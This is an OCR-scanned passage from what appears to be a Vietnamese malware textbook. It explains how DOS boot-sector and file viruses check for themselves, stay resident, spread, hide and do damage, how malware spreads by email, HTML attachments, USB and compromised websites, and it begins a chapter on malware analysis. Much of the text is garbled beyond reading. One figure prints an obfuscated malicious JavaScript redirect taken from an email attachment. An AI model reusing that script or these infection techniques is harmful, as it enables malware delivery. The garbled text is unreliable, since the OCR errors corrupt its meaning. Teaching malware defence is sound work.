Dula SBvirushayDBv i r us, Wmhtdenyg " LIl ©y Qicamt ¢ h %n
s caick thua drh bh€ sau:

2.3.2.1K0 thuat ki@n tra tinh duy nf t

ViuspHitntdtrongb nh ¢ ng °nrh <€ da,t n&lauaqhQs
bflnsaoca ch2nh n- t rnhnsEch BiachnquatrintoBoa b
m8&y, ¢l nmaquahh@ vangmnh [n h * mg@i vi c i va thi hanh
c§c ch<ehngngthi® ndhl rkdnfic” rtuygxiki L orhvi Ch 2
th/] k: thud nay la mt yéu ¢u nghiém ngtv, i B-virus.Vi ¢ ki tra trén
L'oa c/ut fnai’ mye
- Th nhtlla th i gian kMh tra: Numitacy Lc/ ghiQpHpa L
kiwh t r a ‘Ligiantraykd#isSbh £ ngy Gt i [mtlc ni gi
truyxudd c 1 ng nh$@nghiing. Btilvn gu du nay, cac
virus ap gdng mts k: thud sau: Gim s Ifn kiwh trab3ag cach ch
kiwh tra ‘tngbpgt fian® xikit " Loa n "W osmang
khac, chkiwh t r a “tngfombpn gt rFA T L& ° dvad. o a
- Th hailak thud kiwh tra: Hu h} ¢ § ¢ QukiWhrtrabSag dia tr
t khoé. M i virus £t%b cho minh mt gia tr Lo bi ttd m t v tri xac
'nh tr °w©kho & r atW]ihénhbagc § ¢ It Babt record
va kiwh tra gia fr¢ at khoa nay. K thud nay db tr ngd vi s
| “@g B-virus ngay mt I 1[@, gna \Ltri trén Boot Record thi ¢
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hth. Cach kb phchinnayca c¢c8c vi r u€gmidinht tng
cfn s o Wamimki nt ng {pnga chiérh BAKiVh tra

s ¥ntdc aminhtrongbnh, c¢c§c vV inge&s k thud sa&:p d

h h n [ngHi la kivh tra gid frKey value Hm tv t r 2 ‘nh§an L

ving nh cao, ngodi ra m k: thud  k h'Sdp dn@ "i ¥ i cac

virus chim ngbInt 21 ¢a DOS layéufuthchinmtchc ntng

I'Hb bi t khéng c6 trong ngbndy. Nu ¢ bao]i °E Kt 1én thi trong
bnhch€a c¢- "elfin/psyi ng®e L« | €uthitr ¥ t |
gia tr trl’ 14 (trong thanh ghi AX cAng Hh) la m t gia tr x § cnh riao

L -

2.3.2.2K0thuat! _ u tr %

Sau khithchin xong ch<€hng tfmg & kingPn@S T, gi §
L& Test€l'® | €u Vv~ o vV %igchB®KIGH KhDfali @

hanh nlth quygr Qi khivd, n6 € coi ving nh ma no6 kixh soat la gia tr

t r oragh ndy. Viw W trd, mi B-v i r Qsip dng k thud sau

L @y : Slaphfn k th i€y & rminh¥en wing nhcao, no § gilm gia tr

ving nh doDOS qiinlytd 0: 418 hih &i LbFaglg2 ¢ hcgah €

virus. Tuy nhién Au khong kish tratts cé mHutrong ving nh, khi b Boot

mQn liént c, giatrf ng s vang nh nay €b gifm nhiQ Ifn,[n h * g
victhchingca c8c ch€ehng tr3hhcgauothifuys CH
k/Jt t phli kiwhtras T ntd ¢ aminhtrongbnh , Wb L « Hitrong bm

nh thi khdng gim d u nng vohgéh n, a.

2.3.2.2K0thuat lay lan

poth mathchinnhimy | ©y | &nmalqianttha tr ong c¢ h €]
trinh virus. DM [m blo vi ¢ lay lan, virus khng ch]ngcb quan frng nit

trongvic ~dighivanghthng: Lab13lh", @ W[mdftn LL

truy xudl L o@echc hntng "~ 2ghiyladndiv ¢laylan. Vic

lay lanb?ag c § ¢ It Bdbt Sector (Master Boot) Gnvali t ra xem L «
| ©y c:hh@hkivhkt r a = Erén). M sector khi , nlg L€a cbh

nhi m thi virus €t% mt sector khi _ngmiv icactham'st €h mg

ca WamavirusTighitr IGvaovitrica n- tr°n Loia. C,n
I, ng v a  dlén cung vi than ¢a virus (I61 DB-virus) €L ‘& ghi vao

v ¥%an g ‘Xt ct rl°goai ta gias. virud con chimng21¢a DO L

lay nhj m va phéa h#l trén cac file ma ngy21 lam vic. Vi ¢ xay d ng sector

khi  nlg cthmagcavirusplfi mMbfocackthud sau L Oy:

- Sector khi , ng b nhi m pHi con ch a cac tham’sl. 9 a ¢\ bho
qua trinh truy xtl L o a [ng thamls"BPBog a Boot record hay
blng phon ¢ h €mghg Masterdooy Vid khdgy o toan
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sSd¥ JJLvi ¢ virus ndl quyQr Qi khik ha-b khong ttWkikh soéat
‘& L/pdrustkhdngcoém trongg.mii tr €

- S _an toan ca sector khi  nfy nguyén tiw ~ i’tlban ca virus
cl ndi phetl | ° nfuhCamkghud vQv tri cH gibih chiing
ta clng Leacpfnten t 2 ch
2.3.2.3K0thust che du

K: thud  n "y kh& rau nEQsau nay, do khuynh nhg ching Id's phét

hinga hnig@ ngvanhngld tr 3 nhvivivinrus. cV3 k 2
¢, a virus kha nh bé cho nén caedbtrinh vién hoan toan cotlot n g ., d €

x em d]gavirds hét  nlg n fjndo, ¢thd nén cac virus tim ircach

bl ®Whlhg Ids theoddicacacd tr3nh vi °mgépCs8c v
dngmts kthud sau L Oy:

- C tinhvifcacinh mtcach ebri n KSack vao cac vung nh
nguy hMih, chijnm va xod cac ndp , ¢ imatycach Buléo cac thanh
ghi p%owh glisdo khong bifd liulbft L ©u, “tchcay L
gidtr ¢ acacln h p h 2\a g $adj ng kho theo dbi.
- M« ho§8 ngay c¢hz2ahm3Wwnhghs g ng khdng h ¢
phathinraquylet , ci ng nbhr@tcldn ¥dmamg ngay s
hot L, ng ¢ a virus.
- Ng y trang: Cach thnhdl | th m& odi vao sector kh | nfy cang
ngda cang tt va cang ging sector khi | nfj cangtt. Tuy vdy cach
th haiwvh ‘lcehiQviusapgdng: Khi m8y Lalg n!m
chiphigavirus, miyeudu dighi Boot sect@r ( Ma:
I ‘& virus tT vQm t bln chu§i: bfn  tcrkHEb virus 1ay. BiQu nay
L§nka hig&ng v- c¢c8c ch€hwgrusthkh?!alb
thifkJt twumay hin L a’'mg chipghic a virus.
2.3.2.4K0thuat pha hd |

Palavirus thibaogic i ng c - Hxatwphah@ tho L%a cho
vui, ¢ Waphals mtch Htghiémfrng, gdymdi m&§t v~ L3 n|
L'ivi thlng tin tr°n Loa.
Ct n vaothi Wh phéa hél, co thAthia ra thanh hai ké:
- LoU ‘niithi: Lod n "~ y. nh t@id tr,cgia tr nay cé tha ngay

gi ,S Ifnlaynhim,$ gi m8y Y. Nlngiatrn "~ y tquée

m t con § cho phép, n6&ti/h hanh pha Hd. Lod  n ™ wg nguy €

hikh vi chiing chpha héd m t Ifn.

73



- LoY lién t c: Saukhi b lay nhj m va lién t c, virus tijh hanh pha Hha,
song do tinh lién &t nay, cac hd  ni pha hél ¢ a né khdng mang
tinh nghiémtrng,chyJuy | = L%a cho vui

File chua phan manh trudc khi bi tan cong

File: A _File:B___

Page:1 Page: 2 Page: 3 Page: 1 Page: 2 Page: 3 [

A A
\ J File 43 bi phdn manh do sw'tin céng cla Virut ;ﬁ;
Page:l Page: 3 Page: 1 Page: 3 Page: 2 Page: 2

File: A File: B File: B File: A File: B File: A

Hinh 228 Phg hol | m file phan nfinh
2.3.2.5K0thuot d'nh quyzn 21 khuy@h cva B-virus

Khi may tinh kb Fulkhi ,nlg ( Power on), c®BocQlt hanh
I ‘& HIVQOFFFFh,conmi t hanh @ hllceduQ8 c Ndy, € v
quyr Qi khii b fun ‘ld€ t r achmidhio OBFFFoFh:maoh, L
nay thcrachlalfnhnfy JMP J/JAMR Woch<€ehng tr3nh
ROM, thl @ h €hn g  fthih qub trimh PQST {Power On Self Test

T kiwh tra khikhi | ng).

Qué trinh POST&Ifn It ki¥h tra cac thanh ghi, Wih tra b nh , kh it

cg§ ¢ Claukpwi DMA, b L@ khvwingtyb L@khWw Loa. . . Sau
s€do timcac Card tiif b gda  t hWrao gliygr Qi khivd cho ching; t
khithrilByI9quyh Qkhvi. Ch¥% T rUnghte®yngl trE

trong ROM (Read Only Memory) né&khéng tws a “il, cl ng nh€ kht!
chénthém mt Y ma nao khéac.

Sau qug§ trfnbheP68F, t EdNhht oBoatGectBrOM  t |
tr°n Leba Masher B 0 og vaot RAMn(Rardgna Aceass
Memory) 4 "alch 0:7C00h va trao quin Qi khid ¢ hte  theb?ab -

I nh JMP FAR 0:7C00h. Pay la chma Bvirus i d n g Wttt cong vao

Boot Sector ( Ma st €thay BantoSedtor (MastgrnBoa) |
chur bag L &h ma virus, vi tiquyr Qi khiwd  ’Lc®ao cho virus, n6&s
tifhhanhcacHd ngca m3 ndTit rse uitifh hanlmcéc thao tac

nh+€ t hing § c BdotSector (Master Boot) cu ma né & gibh -

L ©u L - v o trad guiRc 0@ khivir ¢ hth ma ahdh nay, va
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ng®s dngcoé m giac rong may tinh,@ minh v hdt  nf binh
t heg.
2.3.3Mts k: thuad dimg ébFvirus

SoviB-virusthi§ | “@g Fv i r us [ol *mtg@, Ba Bdo cac tac v
Loais\h tr ¢ca | nttr Béhcdk&d dangvathh m&i ,Q L -
ki n phat tid cho cac Fv i r u ‘s ng thiTchc®virus ch 1ay lan trén céc file
Kh["t hi (c- L kb 'EXE), .tug€ @hMn rht oguyén & ma virus phi
tuan th la: Khi thi hanh mt file kh[ thi b lay nhi m, quy@v Qi khivd pHi
ntm trong .t khyvirug tf maild cho file@® nhi m, va khi file
nhch 19 quyQh Qi khid, i m id li ugafile pHi ° & Ko toan. Di

V. i F-virus,co mts k: thud ‘"ErBura L ©y :

KO thuot lay lan
CacF-virusch y/us d nghaik thud : t h Fuwva thémovaoltu
233.1Th°m twfile L

Thtngnd,h€ph<€hn g’ ap g pho b4t file .€aOM, t la
l'Fuvdoca ch<€hng t r%RASA:100hulli chn dfulaac Llinh,
virus Ymicm ltdhhv€hng trfunt hveihmigs g o hl L
XY toanb c h€hng it mg&in gl p hi2Gchdd@cont nch €
LWh | “fuddo ¢ Lnhga ch<€ehng tr3nh . COMc!l ™ PS
khi trf 19 quy@v Qi khvdi c h o ¢ h€Hinyy Itttcad m b h €ip g
tinhlénkb fult of f set 100h. C8ch | ©yg nigye€ goOy
khéi ph ¢ vi pHi ~ cltoan b file vao vang nh 1 i m i ti/h hanh ghi¥.

2.3.3.2Thém vao cix file

Khacvicachlaylan t r °n, trong ffilkheardmgvigsl€s8p n "\
L& ghvaosauca ch€hn’g ‘g nHPhiEehng cptiyl§ p n "y
trén Fu W} cac I3 virus vi piimvilay langcanérng r «i hhn ph€h]
trén. Dothanca vi rus kh?!fugaogpd mc L@mrgg Lt r 3 nh,
L'Vehim quy@r Qi khid, pHith chink thud sau L ©Oy:

Pivi file . COM:fulémgy cl€hmguivimbdtigh (L
m t | nh nHy JMP, chuyd Qi khivd JJL Uh ond ¢a virus. E9 xx xx

JMP Entry virus.

P iv ifile .[EXE: Ch cfn ‘nbv I4 h th ng cac thanh ghi SS, SP, CS, IP
trong Ex\Wradfeyad @ khivi.cho pHn méa virus.
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Sau khi nhiém

Trwée khinhiém

.EXE File .EXE File
File Header File Header
.exe .exe
E ............. Ip . B0 ID sesssscenhans i "7
“eeeresd Start of Program J(daber > Start of Program : /&
File sach : File d3
End of Program End of Program nhiém Virut
M S Virus Jump €= +fe- i

Hinh2-29 Lay v i file .EXE

Ngoai hai k thud lay lan ch y/u trén, cO mts itcacvirussd ngmts

caick thud Holbit kh&c nhf@migadh®Engoht r3oh vir
khi gh®p c Magnydgrang, héd thdnicHi thay thm ts L bh ma

ngh tr onig tgebge Skthihdca virus, goOy kh- k
trinh khéi phc. Khit’h h " nh | ©y “ilvdan ctsrc® of Hiflae! e, € L
thu ¢ tinh Sys (h th' ng), Read Only (chl c), Hidden ¥n), pHi ti/h hanh

I”i 14 cac thuc t 2 nWeo thMruy Bhdp, ngodi ra victruynkp  c 1 ng

t haylltgay gi cdh nid ¢ afile, vithjifuhf ¢ 8c Qv ilrRus IL
thu ¢ tinh, ngay gicdb rhd ¢ a  f \Wshuekhi LAy nhim <£tr[ 14 y nguyén

thu ¢ tinh va ngay gicdb nld  bfai g a ib.Ngoai ra, vic ¢ gdag ghi [én

' 0 &n ad dan nhanfov ¢ 1 nyra tdong thong bagilc a DOS: Retry

Aboart- Ignored, i khdng x Iyt tthid b ng*@s d ng phathinras

c6 mtbg avirus. Li kiwi n =" ¢ DQAS®Wh soatbag ngdb24h, cho nén

cac virus mun tranh cac thong baoW nay ¢a DOS khi tTh hanh lay lan

phlithay ngb24hca D O Sckhit/fehanhlaylanti sau I.- ho " n

2.3.3.3K0thuot d niLl¥ o tinh th ¢ i duy nint

Cl ngn g i ndvigs, Btyéu du nghiém ngb HL rfia, i E-virus la
tinhTn td duy nitig a minhtrongbnh cT ng nh€ tre°n file
nh, t himggéacriru€s d ng haik thud chinh:

Th nhHllatbthémchc ntng ©GagracDOdSngmtch c

ntng con n” Bchlce ntkmogh¢holl ahbh gHindao nh
DOS cé6. BWkiwh trachcfngichc ntng ntifyYtrongi 8§ tr
thanh ghiqu§t ‘nits © ntd g avirustrongbnh hay ¢ h€a.

Céch th haila so sanh Mt IlYoma trong ving nheh nbhv i H ma

G avirus, duco s chénhlch t h3 ¢ - ngholkutrong viru
vung nh va €£ti/h hanh lay lan. Trén file, cO W6 cac cach kih tra

n h €whkrab3ag test logic na L, i caovthdng tin ca Entry trong
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t

the€cgm file n”"vy. [@%otinhchinlyxadktg! mlg L
songduthifkJt tthiklin t ng kpr dgaaiiu nh€ kht'ng
c6, ngoai ramt  ©wh lalf ¢ th ¢ hi n kiwh tra 5l nhanh. Ngoai ra c6

thWkiwh trabagcachdomt Homkb It r €ng (&vrys val u
tYv tribh ‘'nth n~ o L - _ trén tac byfe icd ceng ¢ affik. d
2.3.3.4K0thuatl _ u tr Y

Pay lamtk thuw kh- khtn, ’lcing &dochd " n DO ¢
t heeg tr¥% cho c¢h€ehndo ghépiEfrch, €hmghda 3
t hgtrd. Vivlywps dngchec ntagD®S, ch€hng tr-
mun ‘trng®ithi¢f i [ie nl® c I[n gtngpter ¥, Qmay L i

thi khnong thWC ‘& Wi k 2 cchg at H @ | eg@®ua.ln. Chinhvily

dotrén, fJuhl c8c ch€©hngn tTmge htQrphi tHans mu
tac qua raibDOS trén chui MCB bagp h€hn g _pcht8ipg "".t hCL n
vaovic tnhge t'rcth chi®@ tcr ¢hay sau khii ch<e€eh
t “@g thi hanh, c6 Mthia k thud “tnd t& thanh hai nhom:

2.3.3.5T hyn g t oc#hitd rquyzn 21 khi@h

Nh€ L «trén, DOS khong cunggp mtchc nktng ™M o cho
heeg tr% n"y, cho nFinthe¥psandgchsau3 nh

I ©y Tc« vli® ufk: d¥%ng L

Thao t 8&8c WachmtKdCBNglhh rakhiquyr Qi
khid ¢ a DOS,ridungvin g nWtya Lch€hng tr3nh vir

T Unhv Vv tri trong b nh W[ phfn 't ng @0 ¢ a virus vao,

t h g thi cac virus ¢m* vingnh ¢ a o,  pi pifnattm drés; a

file comm@Wirahh dogrhi L L~  thihgi i K
command.com. Vi khénggb phat b nh chopfn ch€©hng tr 3 nh
I a n g ng tid,«€@ho nén command.com hoan toan cdQuudsd phat
vangnh L+ c¢cho c¢c8c¢c ch€ehng tr3nh khs§gc,
tr( ¢ a virus pHi chib nhdh s mHEi mat do may. ri.

T h®gtribagch ¢ nt nng trd 3L Pay 1a nt k: thud ph ¢

t, tUp trinhgnth chin ‘lc®@{nh€© sau: Khi ch€hng
I ‘& trao quyd, n6 €tbramt M C Bc kiiai®ao la pfn £ trung

gian trongchui MCOBhd& ch€hng tr 3 Rhbtvp rus,

mtMCBmi WE&ho ¢ h€h'nngi mtbRag aadh dib ¢ h€hng

trinh xing ving mi nay. Pt ha'y PSP m"~ DOS Lang
th " nh PSP m" chkb€hma d¢hdé nth €hgew st 1t 3
phlis dngchc ntngangt®ih. c
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233.6Thyng tr ¥ wstéiguykhh Al kHiG

Ch€ehng t M nth® wiche®hdg tr3nh ‘lngng th
¢ a DOS, ri n6 thi hanh ngay chinhlm than minh. Sau khi thi hanh
xong, quyh Qikhiwvild "E®&vQcho virus, _wilh khi L
h” nhngthtcad h b ¥ ngbagch € n t n gan@lth. c

2.3.3.7K0thuat che @ u va gay nhKu

Mt nch @hkhéngtranhkhi | “"i f ihg®day itihj m virus €

bt tng Kkeé Mhs viras@gy trangb?agcach khis d ngchc
ntng _ADGS, vruschphichc ntngmfié@ckintng
11h va 12h ca ngb 2 Mgilm Lk 2 ¢ b ¢ & fle@® lay nhim
xung, vithifk hi vi r us’imay ting, e $ d ngd hh DIR

¢ aDOS, hebcaclnhs dngchec ntngmfilé m rkwed L
théng tin WQentry trong fn g t_lt,€hi thyy k 2 ¢ dfile tb Hag

nhi mvabagk 2 chcgah @ i Ifa, @B m " _al Shighe |

d ng VQs trong s$th ¢ a file nay.

M t s virus con gay nhu bagcach md hoagimln ch<€hng tr?3
virus, ch khi nao vaoviing nh, c h€hn,g tergfin hm«nt n g€

4. M, ts virus antidebugb?ag cach chiin ngb1 va ngb3. B i vi cac
ch€hng tr 3adidptiedong ggb i ¥ ngb  Bthi banh

t n g . ®net, cho nén khi virus clim cac ngbnayTi m™ ilepg €
tr3nh d¥ihgoddieiliuttjRduk ht ng gl €r'Eee

2.3.3.8K0thuoat pha hd |

Tht! ngngtcac® i r us drgréph tisc va k thud pha hél
ging ndvis. 6 tWpha héi mt ¢ §nb thi, lién { ¢ hdb
ngd nhién. Dit “@gphah8lcottN © m" n h3nh, 1 oa, Lcg

2.3.3.9K0thuot d"'nh quyzn 41 khuy@ cva F-virus

Khi DOS t ch c thi hanh File kivthi (bdagchc¢ ntngadgBh ¢
21h), n6 €t ch c 14 vung nh, tfi File ¢fn thi hanh va trao qu Qi |
khivd c h o FRiirdséidlh-g.Wifay lagcachgh Yhmaca
m3 nh v~ o YUiitri ned DOS4ragquh Qi khiwd cho File sau
k hi [ilao ving nh. Sau khi Fvirus tih hanh xong cac b | ng
¢ aminh, né misdp x/p, b tritrf 1Y quyh L@@ khWdi choWhRa | e L
Fileldti/nhanhhét nlg b3 mly, t & dnng @i khong thv
bi/J ° E.Bong cac I8 B-virus va Fvirus, c6 mts loY sau khi danh
L ‘& quydr Qi khiwd, £ti/h  h " n BWm¢ ~ Y4 m& ca minh trong
ving nh RAM nh€t mc h€hn g ngttmi YTISR), hbbhiréhg
vung nh ndm ngoai fm kikh soat ca DOS, nhém pc L 2Wh Boatk i
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cac ngbquanfrn g n BuBLh,mgbl3h,... Mikhicacngt n’y L€
g i, virus €danh qugh Qi khiMd W hanh cac Hdé | ng ¢ aminh
t r c&hit 1Y cac ngbchuiy ¢ a DOS.

2.4 Cachinhthctbhconggca me«c L
Hi " n n"y c¢- rblt nhi Qudih? nch- tthh W 1

gua emai | , thing qua c¢c8c phfn mQr
thing qua c8§c L€ mg duakvitranaghiWe b:
thing qua c8c |, h ng h LiQu h”"nh
2.41.Phattan quaemails d ng f il e L2nh k m
C&ch ph8t t8&n m« L. c hyi | n nh
hacker L2nh k m c8c t"i |i wu L, c h
| . a L[o, spyware, wor méd<elkcclic il
c8c file c¢c- Lu?li . exer , . riome . pif
& Pdf attatchment - Unicode (UTF-B) =13
. File Edit Wiew Tools Message Help ﬂ'
& & w8 = X @
Reply Reply Al Forward Prink Deleke Previous
From: pdf@@ozekisms org
Date: Wiednesday, March 03, 2010 11:10 AM
To: johnEozekisms org

Subject: Pdf attatchment
Attach:  [fTozeki.pdf (32.3 KE)

Dear il

Tou can find vour requested pdf file az an attachment of
thiz e-mail

Hinh2-30T" p tin L ¢ h4i L2nh k~

Ph¥fn lc[nnhoighs§ € cl yhh quaemilgi na_ ng

ng€s d_ nyirusl . a tlh[fEO nge hlug WHjpong s~ nh,

ng€ i f " nd, nth&€hgmmiik@ub nit mv3d nge€ |

tin rJngitp Langp@REgi ckltdhap hoq @lhn K
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bdo nayMHudlcact r | |t m€khfnggayra hi = b he88g ,
m t s vilrucsth ¥iafmineyd " h"~ Li @u ih  "LnHat
hobkl a ctihccot kg@yracacy blh®@ ® [ o mdg © yh o[Hith

h€ nghotdticl,b angh .Mtiirusmg i ti JJnglaa b p
Good Times

Mailing worm hay c¢,n g i |~ #As0O©u ¢
mai | Virus, L'i Qu kh&8chbngtl cHe nh€l &
k2n thay v?3 | ©y nhi -mam]tvidpstinK
Mailing worm | ©y nhi, m m t h th ng
c8§c L-maidh’'v'e sau L- s€&€ g i bln sao
ch”™ L-, Db3unm t8&thomag ldacnge kh&ch h-
th " ng hoHc g i m t t p tin L, c hyij
M t con fis©@u g i th€e h"ng lo4to t he€
nhi Qu ng<€ i c%¥ng m t | Yac . -Ballma c Unh
mY nlge, | vV, i k hmai [1,€ sn@u Ig ni et h€© h" n;q

ra c8c vbin LQ hi u sublt nghi°m tr |
cac Mailing worm: Beagle, Mydoom va Netsky.
nW blfo v’ m8y t2nh tr€ ¢ nh_ng Lt

Maiingwo r m n g€ | d¥ng c¢cfn luln clnh gi
khéngréngun g ¢, LHc bi t I~ c8c file c
exe, .com, .pif, .scr, .bat, .rar, .zip.Ng o ~ i ra, c¢cfn cdp nt
di t virus phiWn bln m i nhblt.
D€ i Loy bTsm dirkdcthu L ¢ hdi LW j
nhi. m g©y h4i cho ng¥€ i d%¥%ng.
OOO [ Open ﬁmﬂ" — [Non visible activity] ﬁ
L exploiting vulnerability in

Excel and drop malware Q
ﬁ1

[Visible Activity]
Show Non-
malicious Excel file

Starting a browser
(invisible Window)
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Hinh2-31: Tbin ¢c!ng qua emai l
Tin tHc s d, ng email LW g i cho ng
L2nh k m I " file excel
Khi ng€ i d¥%ng ki Wm tra eme&énmda v~ t|
L., ¢c n3_m trong file L2nh k m n"y s¢€
Loy |~ 1 ch€ehng tr®nh keyl ogger. C
thing tin hoUt SABuntg-cs& gUn bnh®&ng t
duy t Webbrowser .
2.4.2.Phéattan quaemails d ng M« HT Mkt hdL
C8&ch phs8t t8&8n n"y tin t Hc s€ g i

hdi cho ng+€ i d¥ng

© Eile Edik wiew Tools Message Help

e S e = > o ¥ Y
Reply Reply all Forwar: d Prink Delete Addresses
From: Facebook
Date: Tuesday, June 15, 2010 4:15 FM
To: - -
Subjeck: Reset your Facebook password
Attach: @ Facebook_newpass.html (457 bykes)

& Reset your Facebook password - @El
I
L

Hew there.

EBecause of the measures taken to provide safety to our clients, wour
PASSWIOT d has been changed.
T on can find your new password m attached document.

Teours,
Faceboolk=

Hinh2-32 Th€ Li n t° L2nh k m HTML

C8§c the Li n t n“y ¢- n,i dung r bl
khXuo, #Ac i LHt | 9i ch_c¢c nktng thlng
tin HTML gi [ mo g i t_ c8c mUng x
énh€ng th ¢ chblt tromg Lhichn atc ®c
ng€ i d¥%ng s& L€ ¢ chuyWn h<€ ng Lt
hdi khai th8c |, h°ng c.,a Adobe, Ja
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C:\Documents and Settings® Swss SsiDesktopitaskforce - twitter - virus\open. himl
dBIUF@ m, I §E=CGdE==mwiz I F 3c H0O

- e e e e B e S i it T Tt tat] ====lm===1
D <script type='text/javascript'>function nXi){};z="z";m¥.prototype = {t : function() {var w=function{){return 'n'};g=2640Z;var
gqM=function(){};var n="hatjcipd: J/7/7s7hdolpipdiinlgibladzziajrd. Jodo]. Julkd/329, that)nd' . replace (/[ 941747 ] /g, '');var x=new

Arrayi);Eunction nR{){};y="";var u=function() {return 'u'};th=document]'1MolcfaltliEoInd', replace|/[RIHEN] /g, '')]:var yI=new
Array();var p="";this.z=false;var r=false;w="";uK=""';this.xU=84%Z;function niih) {var d=501Z1;this. ¥T="";var
ph=function(]{}h[ 'hErEesfh' . replace (/[BV*TNE] /g, '')]=n;this.nl="nl";var o='';var v=hunction(){return
tythyydd="" s chis, sN="";hI="" jvar wH=function(){return 'wH'};thiz. tA¥="tiT";var oWl=function(){};var dF=function(){}:ni(td) var
E="";var yTT=functioni){return 'yTV'};var c="";}};this.ul="";var sR=new wx(); function da(){};sR.t{);var wH=ney

Date() ;</scripts

3

Hinh2-33: Mi nh h  a Script ch_ a trong t

C§c th€e g i nhiuegc c8@y | dnkhg Lxan
HTML kh'ng c¢- g3 m i, nh€eng d<€ ng
n-ng trong ntm vianlgdvtabcLIGF nn L Qryg &
b°n trong file HTML (ch. kh'ng ch’
g Trojan Zeus chuy®°n gbly cdp t~ i kbh

Chi JJn d" ch miinlnthtbet” cg dan gc 8lcW n g €
nhbln chu, t v" o L2nh k m HTML "v! ht
m t m« L, c b3ung JavaScript,khohgea n Un
LITm blo.

C., thW, m t qulng hcFSho mChm ncgh “tnhg€
gi T mo, khi L€ ¢ click v o, s€& ¢~
m&8y t2nh ngay c¢cl khi tr3nh duy t L€
vio L2nh k m HTML th3 L« |7 qu8§ mu,
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n Internet Security 2010

Upgrade to full .
I ’Fl’gim mid Your Computer is not protected
ety ane-oet repubense

clck s 2 0 sty rckkan

Four cormpuan s wet paxirtact C3:k bere fo errirsty accrwciien.. i e8-Co000.

Hinh2-34: Gi [ mdo phfn mQm di t virdu
Nh. ngpt8§al th, duy nhblt ch”  ng | 4i
th€e r8c (spam) tdi ¢ ng ra v~ o (gat
ng€ i s d,ng, hoHc L i v,i ng€ i s

trong tr3nh duy t. Phfn nc@éakhbi[l o mdt
thac.

H

Hhn n_ a, t p tin L2nh k m HTML. C-
virus t2ch h p trong c8§c m8y ch, ma
khing ch a m« L, ¢c hYi hoHc m« khai
trang web L€ cathec.hDonlb’,i nec§btfh

phg8t hi n b"i c¢c8c ch€ehng tr3nh ch’' n

Vi wdkhuy/n ngh’ nge€ i d¥%ng noOng
k8 tdp tin L2nh k m trong c8c email
cfn th€ ng xuy°n cdptamkdtcpadfh m@Qm
ch€ehng tr3nh ch  ng virus LW blo v’

83



2.4.3.Phét tan qua USB

o NI ) = [BX]
13
a

File Edit View Favorites Tools Help

@8&& - J t? /f\'search d Folders -

Address [Se* F:\ ol ' Go

Folders SB_FLASHGE)

(@ Desktop E‘ S
# (L) My Documents o

= _J My Computer

® J4 3v2Floppy (4:)

<@ Local Disk (C:)

<& CD Drive E:)
*~5

) B' Control Panel

& ) Shared Documents
# [ viitest's Dacuments

B B E

i+

Hinh 2-34: Phéat tan qua USB

noy |~ m, t h3nh th_ ¢ phr8®, ct §8INOym« VL
Aut oRun t_. ng ho"nh h"nho¥#Wti mehl chl/
L- khi/Jn t ¢ L, |1 ©y lan ¢, a d,ng vi

Mi crosoft L« bu,c phl[i quy/Jt L nh
USB t . Wi ndows 7 v° tr°n ¢ Wi ndows

S

Hi " n t4i tin tHcnlm hghyww th m hiph<e€

L ¢, ng€ i d¥%ng khi m USB b° nhi,

Loa n_a trong USB L- v phli m t
d. |li" " u. Th,c chblt ~ Loa th_ hai ch
ng€%ngdm d. i u clng |7 | %c m8y t
D% c¢ch c¢chJ] AutoRun L« b’ | o Ui b, |,

W32. UsbFakeDri ve, virus tr°n USB c¢-
thao t8&8c truy c¢cdp v o °~ Lgoa USB c._ a
244 Phattandat r °n thlbn k L
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Sites managed by

1. Insert malicious Atacker
- - (obfuscated) JavaScript to @ "’_ ”"‘j
Iegmmite site 'nl = m——
‘ Attacker (T (T
2. Browse _ - “* Attack
already defaced site 3 redirect to - Servers
malicious(attack) sit
5
i -
® & 4. Download malware and execute it am _-—
(by exploiting selected - —=
vulnerabilities) = 5 —
User - EE}IE
TN
Collection
5. Send FTP account information Servers
to servers
Hinh2-35Ph &8t t8&8n d a tr°n c8§8c
L™ m t h3nhkh® phtbbi aAngPh€hng t h._
nh€ sau:
Ng€ i d¥%ng truy cdp v o m t Website
t hW Javascript W« @€ imd¥ngat KHI
L/Jn 1 trang web c¢ch_a m« L, c v~ o t
m8y t2nh(d a v o |, h" ng phfn mQm
thtng tin ng€ i d¥%ng s€ b g i vQ c
25Cauhiobntdp
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Ch€ehng 3:
CuBiNVJPHAN TE&CH CMé n

Ph©n t2ch m« L., c hUi 1" c¢ctng vi’
xem xX®t c¢c8c h"nh vi Xn trong mXu mg«

Ctng vi ¢ phon t2clh mxtng cvi ‘c Wit
bi JJm€ ng th3 c¢ctng vi ¢ n"y th€ ng o
t2chcs8c ac*ng ty phfn mQm Antivirus,
thing tin chuy®°n nghi p ¢, Vg t8§dNawm
t h€ nlg pchhdn LTm an to” " n nman mihn€hn tvrio
ch  u tr8ch nhi ' m m@ybFédnmdhm¥uwa.hh -t
Nh€ L«htbnigtphk[i | %c n~ oeVicrSucs cchiihgn gc -
gi i quyJ/jt L€ ¢ hjjt m i vbmsngiQ vQ
ri °ng chaomayhinhCoéhWnyg3nh dung vi ¢ kh
tretmtm®@8n trong mHci d¥Wgg, LYQu c¢c i cht
Anti-Vi rus, nh€eng 8y it2mht ndi@ ¥ -mc- th\
qua L®anb m° chewmwngusr knhdW@md nlg€' nd,d
ri 1oy mnggoy r. i ro cao2whichfanimds
h™ th/Lnvgc nlg«€ i | "enfranphi " nc- nh_ ng
t2ch c¢ch, L ng trong t3nh hu'" ng n"y
nhblt chan8hy tt2mhn gm&yn gh'c, tah md o h.

Nh. ng nhdi &8lhhnhgi § bamglfFua Pphmoga I
c- I nghoa quy/jt L nh t_i vi ¢ gil[ln
h™ th ng.

M, c B2ahph©n t2ch m« L, ¢ hy4i |~

1. Th. nhblt : tUYi saol negyh &iz nnh™ yl?24i

2. Th_ hai : ch2nh x8cnht m3g meé Lt rc
t h?ng

33.Th ba : sau khi ndm L€ ¢ h” nh \
kh'ng v~ ph, ngy tnr §in@y Lneiic, nc hluf n
khong?

C- mt s khuy/n c¢c8o Lt'2ichv, m« nth_ongl
-n.ng L,i h,i v o vi ¢ ng€ i phon

c8§c t2nm«niindg "d, a
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- HFu h/Jt ¢ &cn«c he€kenlg€'tirg nthe |7 | . n
n°n ch, yJu x8c L nh c¢c8c t2nh nt
- H«y lutnphsi dh’npg nhi Qu c'ng ¢, Vv
kh8c nhau LW ph©n t2ch.

- Lutn luln c¢cdp nhdt c8c ko thudt
mal war e s d. ng clng nh€e c8c ko
m i trong vi ¢ phon t2ch

3.1 Cac kiJh th. cchbln trong phan tich maL, c
Trong ki Jn HhirYc, mEiyt th’nht h" ng m8y
